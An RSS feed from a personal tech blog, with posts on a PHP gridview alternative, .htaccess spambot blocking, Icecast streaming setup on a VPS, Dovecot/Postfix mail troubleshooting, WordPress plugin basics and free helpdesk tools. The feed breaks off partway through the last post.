<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Azghanvi&#039;s Technical Research Playground</title>
	<atom:link href="http://azgtech.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://azgtech.wordpress.com</link>
	<description>A place to some of my research work !!</description>
	<lastBuildDate>Fri, 03 May 2013 23:53:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='azgtech.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Azghanvi&#039;s Technical Research Playground</title>
		<link>http://azgtech.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://azgtech.wordpress.com/osd.xml" title="Azghanvi&#039;s Technical Research Playground" />
	<atom:link rel='hub' href='http://azgtech.wordpress.com/?pushpress=hub'/>
		<item>
		<title>ASP.net gridview in PHP</title>
		<link>http://azgtech.wordpress.com/2013/01/22/asp-net-gridview-in-php/</link>
		<comments>http://azgtech.wordpress.com/2013/01/22/asp-net-gridview-in-php/#comments</comments>
		<pubDate>Tue, 22 Jan 2013 21:52:33 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/?p=490</guid>
		<description><![CDATA[A good alternate is available on www.phpgrid.org. The default ASP.net gridview is something like this. You can see the live working and screenshots from following links. - Demo Center - Screenshots<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=490&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>A good alternate is available on <a href="http://www.phpgrid.org/updates/php-gridview/">www.phpgrid.org</a>.</p>
<p><a href="http://www.phpgrid.org/?attachment_id=524" rel="attachment wp-att-524"><img src="http://www.phpgrid.org/wp-content/uploads/main1.png" alt="" title="PageLines- main.png" width="902" height="378" /></a></p>
<p>The default ASP.net gridview is something like this.</p>
<p><a href="http://www.phpgrid.org/updates/php-gridview-equivalent-of-a-asp-net-listview-gridview/asp-gridviewhowtouse/" rel="attachment wp-att-817"><img src="http://www.phpgrid.org/wp-content/uploads/asp-GridViewHowToUse.jpg" alt="" title="asp-GridViewHowToUse" width="952" height="455" /></a></p>
<p>You can see the live working and screenshots from following links.</p>
<p>- <a href="http://www.phpgrid.org/demo-center/" title="Live Demo">Demo Center</a><br />
- <a href="http://www.phpgrid.org/screenshots/" title="Screenshots">Screenshots </a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/490/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/490/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=490&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2013/01/22/asp-net-gridview-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>

		<media:content url="http://www.phpgrid.org/wp-content/uploads/main1.png" medium="image">
			<media:title type="html">PageLines- main.png</media:title>
		</media:content>

		<media:content url="http://www.phpgrid.org/wp-content/uploads/asp-GridViewHowToUse.jpg" medium="image">
			<media:title type="html">asp-GridViewHowToUse</media:title>
		</media:content>
	</item>
		<item>
		<title>How to block spambots by user agent using .htaccess</title>
		<link>http://azgtech.wordpress.com/2012/12/13/how-to-block-spambots-by-user-agent-using-htaccess/</link>
		<comments>http://azgtech.wordpress.com/2012/12/13/how-to-block-spambots-by-user-agent-using-htaccess/#comments</comments>
		<pubDate>Thu, 13 Dec 2012 12:31:42 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
				<category><![CDATA[Apache]]></category>

		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/12/13/how-to-block-spambots-by-user-agent-using-htaccess/</guid>
		<description><![CDATA[http://healyourchurchwebsite.com/2008/05/27/how-to-block-spambots-by-user-agent-using-htaccess/ # redirect spambots &#38; rogue spiders to the end of the internet Options +FollowSymlinks RewriteEngine On RewriteBase / RewriteEngine on RewriteCond %{HTTP_USER_AGENT} ^$ [OR] RewriteCond %{HTTP_USER_AGENT} ^EmailSearch [OR] RewriteCond %{HTTP_USER_AGENT} ^Microsoft\ URL [OR] RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector RewriteRule .* - [F,L]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=486&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><a href="http://healyourchurchwebsite.com/2008/05/27/how-to-block-spambots-by-user-agent-using-htaccess/">http://healyourchurchwebsite.com/2008/05/27/how-to-block-spambots-by-user-agent-using-htaccess/</a></p>
<pre># redirect spambots &amp; rogue spiders to the end of the internet
Options +FollowSymlinks
RewriteEngine On
RewriteBase /
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSearch [OR]
RewriteCond %{HTTP_USER_AGENT} ^Microsoft\ URL [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector
RewriteRule .* - [F,L]</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/486/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/486/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=486&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/12/13/how-to-block-spambots-by-user-agent-using-htaccess/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>
	</item>
		<item>
		<title>Setting up Mp3 Streaming Server (Icecast) on VPS (port 80)</title>
		<link>http://azgtech.wordpress.com/2012/11/25/setting-up-mp3-streaming-server-icecast-on-vps-on-port-80/</link>
		<comments>http://azgtech.wordpress.com/2012/11/25/setting-up-mp3-streaming-server-icecast-on-vps-on-port-80/#comments</comments>
		<pubDate>Sun, 25 Nov 2012 17:31:53 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/11/25/setting-up-mp3-streaming-server-icecast-on-vps-on-port-80/</guid>
		<description><![CDATA[Step 1: Download RPM from following url as per your VPS architecture (e.g. Centos 64bit) http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm.html cd /opt wget http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm/download/ Step 2: Install it using yum yum install icecast-2.3.3-1.el6.x86_64.rpm Step 3: Set Config vim /etc/icecast.xml Change source password, relay password, admin password. Also set mount point to &#8216;/live&#8216; &#60;authentication&#62; &#60;!-- Sources log in with username [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=482&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p><strong>Step 1: Download RPM</strong> from following url as per your VPS architecture (e.g. Centos 64bit)</p>
<p><a href="http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm.html">http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm.html</a></p>
<pre>cd /opt
wget <a href="http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm/download/">http://pkgs.org/centos-6-rhel-6/centalt-x86_64/icecast-2.3.3-1.el6.x86_64.rpm/download/</a></pre>
<p><strong>Step 2: Install it using yum</strong></p>
<pre>yum install icecast-2.3.3-1.el6.x86_64.rpm</pre>
<p><strong>Step 3: Set Config</strong></p>
<pre>vim /etc/icecast.xml</pre>
<p>Change source password, relay password, admin password. Also set mount point to &#8216;<strong>/live</strong>&#8216;</p>
<pre>&lt;authentication&gt;
&lt;!-- Sources log in with username 'source' --&gt;
 &lt;source-password&gt;<strong>mynewpass</strong>&lt;/source-password&gt;
&lt;!-- Relays log in username 'relay' --&gt;
 &lt;relay-password&gt;<strong>mynewpass</strong>&lt;/relay-password&gt;
&lt;!-- Admin logs in with the username given below --&gt;
 &lt;admin-user&gt;admin&lt;/admin-user&gt;
 &lt;admin-password&gt;<strong>mynewpass</strong>&lt;/admin-password&gt;
 &lt;/authentication&gt;
&lt;listen-socket&gt;
 &lt;port&gt;8000&lt;/port&gt;
 <strong> &lt;shoutcast-mount&gt;/live&lt;/shoutcast-mount&gt;</strong>
 &lt;/listen-socket&gt;</pre>
<p>And that&#8217;s it. It will start listening on port 8000, when you start service.</p>
<p>Optionally you can also have multiple mount points by adding following config.</p>
<pre>&lt;mount&gt;
 &lt;mount-name&gt;/live&lt;/mount-name&gt;
 &lt;password&gt;pass-live&lt;/password&gt;
 &lt;max-listeners&gt;100&lt;/max-listeners&gt;
&lt;dump-file&gt;/tmp/live.mp3&lt;/dump-file&gt;
 &lt;fallback-mount&gt;/live-backup&lt;/fallback-mount&gt;
 &lt;fallback-override&gt;1&lt;/fallback-override&gt;
 &lt;fallback-when-full&gt;1&lt;/fallback-when-full&gt;
&lt;/mount&gt;</pre>
<p><strong>Step 4: Start service + Set for auto start on boot</strong></p>
<pre>service icecast start
chkconfig incecast on</pre>
<p><strong>Step 5: Run on Port 80</strong></p>
<p>If you want to run it on port 80, due to firewall issue of listeners &#8230; you can manage it using mod_proxy module of apache.</p>
<p>For that, check your httpd.conf and see if mod_proxy module is not commented.</p>
<pre>LoadModule proxy_module modules/mod_proxy.so</pre>
<p>Next, go to your apache public_html, and in .htaccess write following rule.</p>
<pre># streaming on port 80 - icecast
RewriteRule ^live.mp3$ <a href="http:/live">http://domain.com:8000/live</a> [P,L]</pre>
<p>This will enable streaming via http. You can now access <a href="http://domain.com/live.mp3">http://domain.com/live.mp3</a> to connect to live broadcast.</p>
<p><strong>Step 6: Setting Streaming Server</strong></p>
<p>Icecast is supported many free streaming servers like VLC and Winamp. But i prefer Samcast due to simpler interface but it&#8217;s trial and shows popup at random time to buy.</p>
<p>Open Samcast.<br />
Click of Settings link on top -&gt; Capture sound form device<br />
You can select &#8216;Sound Mapper&#8217; to broadcast speaker out or &#8216;Mic&#8217;</p>
<p>Click Encoder -&gt; Click +<br />
Choose MP3 Lame encoder -&gt; Click OK</p>
<p>On first tab &#8216;Converter&#8217; select your desired bitrate to stream (16k) and mode (mono/stereo)</p>
<p>On second tab &#8216;Server details&#8217;, select &#8216;Server Type&#8217; to IceCast<br />
Server IP: <a href="http://your-domain.com">your-domain.com</a></p>
<p>Server Port: 8000 (default)<br />
Password: mynewpass (as set above in tutorial)<br />
Mount: /live (as set in config)<br />
Optionally set, station name, description and website options.</p>
<p>Click OK, and it will add new encoder.</p>
<p>Select newly added encoder and click &#8216;Play&#8217; button.<br />
If everything goes fine, it&#8217;s will update status as &#8216;Encoding&#8217;</p>
<p>Now on main Samcast window, click circle blue button &#8216;Start&#8217; to start streaming.</p>
<p>Debugging: If you wish to see log, please check</p>
<p># tail -f /var/log/icecast/error.log</p>
<p><strong>Step 7: Setting up client</strong></p>
<p>We can have desktop clients like winamp or vlc which work smooth. Just open file and give your streamer path.</p>
<p>In our case, it&#8217;s <a href="http://domain.com/live.mp3">http://domain.com/live.mp3</a><br />
You will hear the playback after little buffering.</p>
<p>If you wish to have web based player, visit following link<br />
<a href="http://andy.ehandysoft.com/shoutcast-players.html">http://andy.ehandysoft.com/shoutcast-players.html</a></p>
<p>JWPlayer is also very stable and work for mp3 streaming. A</p>
<p>In both cases, all we have to do is to give file path:<br />
<a href="http://domain.com/live.mp3">http://domain.com/live.mp3</a></p>
<p>That&#8217;s It. Phew, long article.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/482/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/482/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=482&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/11/25/setting-up-mp3-streaming-server-icecast-on-vps-on-port-80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
<enclosure url="http://domain.com/live.mp3" length="0" type="audio/mpeg" />
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>
	</item>
		<item>
		<title>Tool for Twitter Bootstap Color Contrasts Selection</title>
		<link>http://azgtech.wordpress.com/2012/11/25/tool-for-twitter-bootstap-color-contrasts-selection/</link>
		<comments>http://azgtech.wordpress.com/2012/11/25/tool-for-twitter-bootstap-color-contrasts-selection/#comments</comments>
		<pubDate>Sun, 25 Nov 2012 16:39:07 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/11/25/tool-for-twitter-bootstap-color-contrasts-selection/</guid>
		<description><![CDATA[It takes an images, and pick high,low,mid contrast colors to generate theme for bootstrap. You can then customize and replace your bootstrap.css files. Very resuable tool, saved a lot of time. http://www.lavishbootstrap.com/<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=481&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>It takes an images, and pick high,low,mid contrast colors to generate theme for bootstrap. You can then customize and replace your bootstrap.css files.</p>
<p>Very resuable tool, saved a lot of time.</p>
<p><a href="http://www.lavishbootstrap.com/">http://www.lavishbootstrap.com/</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/481/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/481/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=481&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/11/25/tool-for-twitter-bootstap-color-contrasts-selection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>
	</item>
		<item>
		<title>Simplest Dovecot Web-based Mailbox Management</title>
		<link>http://azgtech.wordpress.com/2012/11/23/simplest-dovecot-web-based-mailbox-management/</link>
		<comments>http://azgtech.wordpress.com/2012/11/23/simplest-dovecot-web-based-mailbox-management/#comments</comments>
		<pubDate>Fri, 23 Nov 2012 17:09:51 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/?p=474</guid>
		<description><![CDATA[I initially had a lot of hard time searching for admin interface to manage dovecot mailbox and user accounts, but finally found a solution. It was the simplest and quickest by my googled research. Logging it for future reference. http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p4 11 Install Dovecot Dovecot can be installed as follows: yum install dovecot dovecot-mysql Now create [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=474&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I initially had a lot of hard time searching for admin interface to manage dovecot mailbox and user accounts, but finally found a solution. It was the simplest and quickest by my googled research.</p>
<p>Logging it for future reference.</p>
<p><a href="http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p4">http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p4</a></p>
<h3>11 Install Dovecot</h3>
<p>Dovecot can be installed as follows:</p>
<p>yum install dovecot dovecot-mysql</p>
<p>Now create the system startup links and start Dovecot:</p>
<p>chkconfig &#8211;levels 235 dovecot on<br />
/etc/init.d/dovecot start</p>
<h3>12 Install Postfix</h3>
<p>Postfix can be installed as follows:</p>
<p>yum install postfix</p>
<p>Then turn off Sendmail and start Postfix:</p>
<p>chkconfig &#8211;levels 235 sendmail off<br />
chkconfig &#8211;levels 235 postfix on<br />
/etc/init.d/sendmail stop<br />
/etc/init.d/postfix restart</p>
<p>This will setup the server. And finally the magical tool was ISPConfig.</p>
<p><a href="http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p7">http://www.howtoforge.com/perfect-server-centos-6.3-x86_64-nginx-dovecot-ispconfig-3-p7</a></p>
<p>After installation, it was really very simple to add domain, then mailbox and then connect from outlook express, without going in dovecot-mysql detailed configuration. See attached screenshot for more.</p>
<p><a href="http://azgtech.files.wordpress.com/2012/11/image.png"><img class="alignnone size-full wp-image-475" title="image" alt="" src="http://azgtech.files.wordpress.com/2012/11/image.png?w=780&#038;h=613" height="613" width="780" /></a></p>
<p><strong>Troubleshooting</strong></p>
<p>In this setup, i got stucked at 3 places. Actually i didn&#8217;t followed complete walkthrough instead installed postfix, dovecot+dovecot_mysql, ispconfig.</p>
<p><strong>1) Postfix mail  receiving issue, warning: do not list domain domain.org in BOTH mydestination and virtual_mailbox_domains</strong></p>
<p>It started fetching mailbox folders but was receiving any emails. In logs it shows</p>
<p>Nov 24 06:16:34 domain postfix/trivial-rewrite[31898]: warning: do not list domain domain.org in BOTH mydestination and virtual_mailbox_domains<br />
Nov 24 06:16:34 domain dovecot: imap-login: Login: user=&lt;support@domain.org&gt;, method=PLAIN, rip=72.29.80.225, lip=72.29.80.225, mpid=31910, TLS<br />
Nov 24 06:16:34 domain postfix/local[31908]: 93C3F316800D: to=&lt;root@domain.org&gt;, orig_to=&lt;support@domain.org&gt;, relay=local, delay=0.22, delays=0.12/0.05/0/0.06, dsn=2.0.0, status=sent (delivered to mailbox)</p>
<p><strong>Solution</strong>: <a href="http://www.howtoforge.com/forums/archive/index.php/t-59061.html" rel="nofollow">http://www.howtoforge.com/forums/archive/index.php/t-59061.html</a></p>
<p>Added subdomain in /etc/hosts and /etc/postfix/main.cf</p>
<p>mydestination = mail.domain.org, &#8230;&#8230;</p>
<p>The hostname defined in main.cf of postfix should not be your domain.org, instead some sub domain e.g. mail.domain.org.</p>
<p><strong>2) Postfix was not sending emails giving error in /var/log/maillog : (delivery temporarily suspended: connect to 127.0.0.1[127.0.0.1]:10024: Connection refused)</strong></p>
<p><strong>Solution</strong>: There were many solutions on web, but case was i didn&#8217;t installed &#8216;amavisd&#8217; from walk through and it was preset in ISPConfig postfix config main.cf. Commented it&#8217;s filter and Postfix SMTP also worked.</p>
<p>#content_filter = amavis:[127.0.0.1]:10024<br />
content_filter =</p>
<p><a href="http://www.textndata.com/forums/delivery-temporarily-suspended-connect-127-a-49572.html">http://www.textndata.com/forums/delivery-temporarily-suspended-connect-127-a-49572.html</a></p>
<p>Another solution could be properly follow walk through and install this anti-spam tool as mentioned here:<br />
<a href="http://forum.linode.com/viewtopic.php?p=36880"> http://forum.linode.com/viewtopic.php?p=36880</a></p>
<p><strong>3) Config issues in &#8220;atmail&#8221; web client</strong></p>
<p>I also setup &#8220;atmail&#8221; from sourceforge. It crashed just after installation on first page causing blank modal login window.</p>
<p>I check firebug-&gt;ajax response, and it was 500 server error. Debugged code and found it&#8217;s PHP new version &#8216;deprecated&#8217; warning issue, which forcefully terminate script. So i turned on error_reporting in header.php. List the files causing deprecated warning and replace them using vim command.</p>
<p>:%s/=&amp;/=/g<br />
:%s/= &amp;/= /g  &lt;&#8212;- this one with space after =</p>
<p>It resolved the deprecated warning issue.</p>
<p>Next issue was with libs/IMAP_Client.php. In new php version &#8216;namespace&#8217; is a keyword but in this lib, it was named as a class-&gt;function. So renamed it and calling and definition places, and finally it worked.</p>
<p>&#8230;</p>
<p>Pretty unique cases, very hard to google. It burnt almost my half night sleep (of 9th muharram, nov 23-24, 2012)</p>
<p>Hope it help.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/474/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=474&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/11/23/simplest-dovecot-web-based-mailbox-management/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>

		<media:content url="http://azgtech.files.wordpress.com/2012/11/image.png" medium="image">
			<media:title type="html">image</media:title>
		</media:content>
	</item>
		<item>
		<title>Getting Started Writing WordPress Plugins</title>
		<link>http://azgtech.wordpress.com/2012/11/21/getting-started-writing-wordpress-plugins/</link>
		<comments>http://azgtech.wordpress.com/2012/11/21/getting-started-writing-wordpress-plugins/#comments</comments>
		<pubDate>Wed, 21 Nov 2012 02:04:26 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/11/21/getting-started-writing-wordpress-plugins/</guid>
		<description><![CDATA[Real quick start for WP plugin development. http://fuelyourcoding.com/getting-started-writing-wordpress-plugins/ Why WordPress Plugins? A WordPress plugin can be a single PHP file or a complex collection of PHP, CSS, JS and images all used together to add new or enhanced functionality to the WordPress core. Since almost everything you can put in a plugin you can also [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=473&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Real quick start for WP plugin development.</p>
<p><a href="http://fuelyourcoding.com/getting-started-writing-wordpress-plugins/">http://fuelyourcoding.com/getting-started-writing-wordpress-plugins/</a></p>
<h2>Why WordPress Plugins?</h2>
<p>A WordPress plugin can be a single PHP file or a complex collection of PHP, CSS, JS and images all used together to add new or enhanced functionality to the WordPress core.</p>
<p>Since almost everything you can put in a plugin you can also just dump into a functions.php file in your theme directory, why should you bother building a plugin? Here are a few reasons I find important:</p>
<ul>
<li>Plugins are focused pieces of code structured to accomplish one task. The very nature of a plugin makes it easy to maintain.</li>
<li>Because of the modular nature of a plugin, it makes your code instantly reusable on other projects (Depending on your code ownership agreements with your clients, of course.)</li>
<li>If over time it grows into a truly helpful collection of code, having it in a plugin allows you to release it to the public quickly and easily.</li>
<li>Having large chunks of functionality split into plugins makes changes to the PHP and related files easier to make later.</li>
</ul>
<p>I think WordPress plugins should be especially important to anyone running a web application that could benefit from direct integration into the WordPress platform. This could include a WordPress sidebar widget that pulls information from your website, a shortcode for quickly embedding your site content in WordPress posts, etc.</p>
<p><img src="http://fuelyourcoding.com/files/wordpress_plugins.jpg" alt="wordpress_plugins" title="wordpress_plugins" height="464" width="606" /></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/azgtech.wordpress.com/473/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/azgtech.wordpress.com/473/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=473&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://azgtech.wordpress.com/2012/11/21/getting-started-writing-wordpress-plugins/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://2.gravatar.com/avatar/230db3ce8e3cf13ced86d30ed7f70af7?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">AzGhanv/.</media:title>
		</media:content>

		<media:content url="http://fuelyourcoding.com/files/wordpress_plugins.jpg" medium="image">
			<media:title type="html">wordpress_plugins</media:title>
		</media:content>
	</item>
		<item>
		<title>Free Helpdesk Solutions &amp; Livechat</title>
		<link>http://azgtech.wordpress.com/2012/11/09/free-helpdesk-solutions-livechat/</link>
		<comments>http://azgtech.wordpress.com/2012/11/09/free-helpdesk-solutions-livechat/#comments</comments>
		<pubDate>Fri, 09 Nov 2012 05:29:24 +0000</pubDate>
		<dc:creator>azghanvi</dc:creator>
		
		<guid isPermaLink="false">http://azgtech.wordpress.com/2012/11/09/free-helpdesk-solutions-livechat/</guid>
		<description><![CDATA[Basically, i was looking for a good community support forum with helpdesk as an plus. Found following interesting services, cost $0. First agent free (i&#8217;ve a small team, can share one user) http://www.desk.com/pricing http://freshdesk.com/signup/ http://www.happyfox.com/signup.php desk.com &#38; freshdesk seems promising. List of helpdesk tools: http://www.opensourcehelpdesklist.com/ Live Chat (with mobile app) http://www.clickdesk.com/pricing.jsp FREE Forever One Agent [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=azgtech.wordpress.com&#038;blog=2464838&#038;post=471&#038;subd=azgtech&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Basically, i was looking for a good community support forum with helpdesk as an plus. Found following interesting services, cost $0. First agent free (i&#8217;ve a small team, can share one user)</p>
<p><a href="http://www.desk.com/pricing">http://www.desk.com/pricing</a><br />
<a href="http://freshdesk.com/signup/">http://freshdesk.com/signup/</a><br />
<a href="http://www.happyfox.com/signup.php">http://www.happyfox.com/signup.php</a><br />
<a href="http://desk.com">desk.com</a> &amp; freshdesk seems promising.<strong></p>
<p>List of helpdesk tools:</strong><br />
<a href="http://www.opensourcehelpdesklist.com/">http://www.opensourcehelpdesklist.com/</a></p>
<p><strong>Live Chat (with mobile app)<br />
</strong><a href="http://www.clickdesk.com/pricing.jsp">http://www.clickdesk.com/pricing.jsp</a></p>
<p>FREE Forever One Agent only<br />
30 Chats/Month<br />
1 concurrent.<br />
Voice Chat<br />
Social Toolbar</p>
<p>Zopim can&#8217;t be configured with jabber client. This works like olark.<br />
Zopim dont have mobile app to answer queries, olark has very limited free version.<br />
Olark has monthly limit of 20, with 5 concurrent chats.</p>
<p><strong>OTRS Help Desk &#8211; Opensource</strong><br />
<a href="http://www.otrs.com/en/software/otrs-help-desk/features/">http://www.otrs.com/en/software/otrs-help-desk/features/</a></p>
<p>OTRS Help Desk provides the tools needed to deliver superior service to your customers. Build stronger, longer lasting relationships and gain a solid competitive edge with the proven functionality of OTRS</p>
<p><img alt="http://www.otrs.com/uploads/pics/zoom-view.png" src="http://www.otrs.com/uploads/pics/zoom-view.png" height="150" width="200" /></p>
<p><strong>Userreport:</strong></p>
<p>Get ideas on how to improve your website – from the people using it! Users can post, vote on and discuss ideas. You can even add your own colors and logo to the forum.</p>
<p><img src="http://dz5owajohjswa.cloudfront.net/wp-content/themes/userreport/_/img/fo_feedback_forum.png" alt="" /></p>
